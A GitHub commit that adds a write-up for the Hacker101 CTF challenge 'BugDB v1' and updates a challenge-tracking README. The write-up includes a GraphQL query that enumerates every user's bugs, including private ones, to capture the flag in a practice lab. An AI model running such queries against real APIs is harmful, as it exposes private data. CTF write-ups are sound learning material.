Skip to content

Commit 817aa95

Browse files
testert1ngtestert1ng
committed
bugdb_v1
1 parent 13077f1 commit 817aa95

File tree

4 files changed

+77
-20
lines changed

4 files changed

+77
-20
lines changed

‎README.md

+22-20
Original file line numberDiff line numberDiff line change
@@ -6,25 +6,26 @@
66

77
## 0x01 CTF
88

9-
| Difficulty (Points) | Name | Skills | Completion |
10-
| ------------------- | ------------------------------------------------- | ----------- | ---------- |
11-
| Trivial (1 / flag) | [A little something to get you started][2] | Web | 1 / 1 |
12-
| Easy (2 / flag) | [Micro-CMS v1][3] | Web | 4 / 4 |
13-
| Moderate (3 / flag) | [Micro-CMS v2][5] | Web | 3 / 3 |
14-
| Hard (9 / flag) | [Encrypted Pastebin][12] | Web, Crypto | 1 / 4 |
15-
| Moderate (6 / flag) | [Photo Gallery][10] | Web | 3 / 3 |
16-
| Moderate (5 / flag) | [Cody's First Blog][8] | Web | 3 / 3 |
17-
| Easy (4 / flag) | [Postbook][6] | Web | 7 / 7 |
18-
| Moderate (0 / flag) | [Ticketastic: Demo Instance][9] | Web | 0 / 0 |
19-
| Moderate (5 / flag) | [Ticketastic: Live Instance][9] | Web | 2 / 2 |
20-
| Easy (3 / flag) | [Petshop Pro][7] | Web | 3 / 3 |
21-
| Hard (7 / flag) | [Model E1337 - Rolling Code Lock][13] | Web, Math | 0 / 2 |
22-
| Moderate (5 / flag) | [TempImage][4] | Web | 2 / 2 |
23-
| Easy (2 / flag) | [H1 Thermostat][11] | Android | 2 / 2 |
24-
| Expert (13 / flag) | [Model E1337 v2 - Hardened Rolling Code Lock][14] | Math | 0 / 1 |
25-
| Moderate (3 / flag) | [Intentional Exercise][15] | Android | 1 / 1 |
26-
| Moderate (4 / flag) | [Hello World!][16] | Native | 0 / 1 |
27-
| Expert (9 / flag) | [Rend Asunder][17] | Native | 0 / 3 |
9+
| Difficulty (Points) | Name | Skills | Completion |
10+
| ------------------- | ------------------------------------------------- | ------------ | ---------- |
11+
| Trivial (1 / flag) | [A little something to get you started][2] | Web | 1 / 1 |
12+
| Easy (2 / flag) | [Micro-CMS v1][3] | Web | 4 / 4 |
13+
| Moderate (3 / flag) | [Micro-CMS v2][5] | Web | 3 / 3 |
14+
| Hard (9 / flag) | [Encrypted Pastebin][12] | Web, Crypto | 1 / 4 |
15+
| Moderate (6 / flag) | [Photo Gallery][10] | Web | 3 / 3 |
16+
| Moderate (5 / flag) | [Cody's First Blog][8] | Web | 3 / 3 |
17+
| Easy (4 / flag) | [Postbook][6] | Web | 7 / 7 |
18+
| Moderate (0 / flag) | [Ticketastic: Demo Instance][9] | Web | 0 / 0 |
19+
| Moderate (5 / flag) | [Ticketastic: Live Instance][9] | Web | 2 / 2 |
20+
| Easy (3 / flag) | [Petshop Pro][7] | Web | 3 / 3 |
21+
| Hard (7 / flag) | [Model E1337 - Rolling Code Lock][13] | Web, Math | 0 / 2 |
22+
| Moderate (5 / flag) | [TempImage][4] | Web | 2 / 2 |
23+
| Easy (2 / flag) | [H1 Thermostat][11] | Android | 2 / 2 |
24+
| Expert (13 / flag) | [Model E1337 v2 - Hardened Rolling Code Lock][14] | Math | 0 / 1 |
25+
| Moderate (3 / flag) | [Intentional Exercise][15] | Android | 1 / 1 |
26+
| Moderate (4 / flag) | [Hello World!][16] | Native | 0 / 1 |
27+
| Expert (9 / flag) | [Rend Asunder][17] | Native | 0 / 3 |
28+
| Easy (2 / flag) | [BugDB v1][18] | Web, GraphQL | 1 / 1 |
2829

2930
[1]: https://ctf.hacker101.com/ctf
3031
[2]: ./a_little_something_to_get_you_started
@@ -42,4 +43,5 @@
4243
[14]: ./model_e1337_v2-hardened_rolling_code_lock
4344
[15]: ./intentional_exercise
4445
[16]: ./hello_world
45-
[17]: ./rend_asunder
46+
[17]: ./rend_asunder
47+
[18]: ./bugdb_v1

‎bugdb_v1/README.md

+7
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
# BugDB v1
2+
3+
## [Flag0](./flag0) -- Found
4+
5+
- What can you see? What can you not see?
6+
- What data types are involved?
7+
- Have you tried querying different endpoints?

‎bugdb_v1/flag0/README.md

+48
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
# BugDB v1 - FLAG0
2+
3+
## 0x00 Overview
4+
5+
Very direct and easy CTF. The purpose is more like taking a tour of Graphql.
6+
7+
## 0x01 FLAG
8+
9+
The left side is the QUERY and the RIGHT side is results.
10+
11+
There is also a very clear structure of data at very right side for reference.
12+
13+
So just make a query to loop through all the details of the data set.
14+
15+
```graphql
16+
{
17+
user {
18+
edges {
19+
node {
20+
id,
21+
username,
22+
bugs {
23+
pageInfo {
24+
startCursor
25+
endCursor
26+
},
27+
edges {
28+
cursor,
29+
node {
30+
id,
31+
reporterId,
32+
text,
33+
private,
34+
reporter {
35+
id
36+
}
37+
}
38+
}
39+
}
40+
}
41+
}
42+
}
43+
}
44+
```
45+
46+
And here comes the flag.
47+
48+
![](./imgs/flag.jpg)

‎bugdb_v1/flag0/imgs/flag.jpg

54.7 KB
Loading

0 commit comments

Comments
 (0)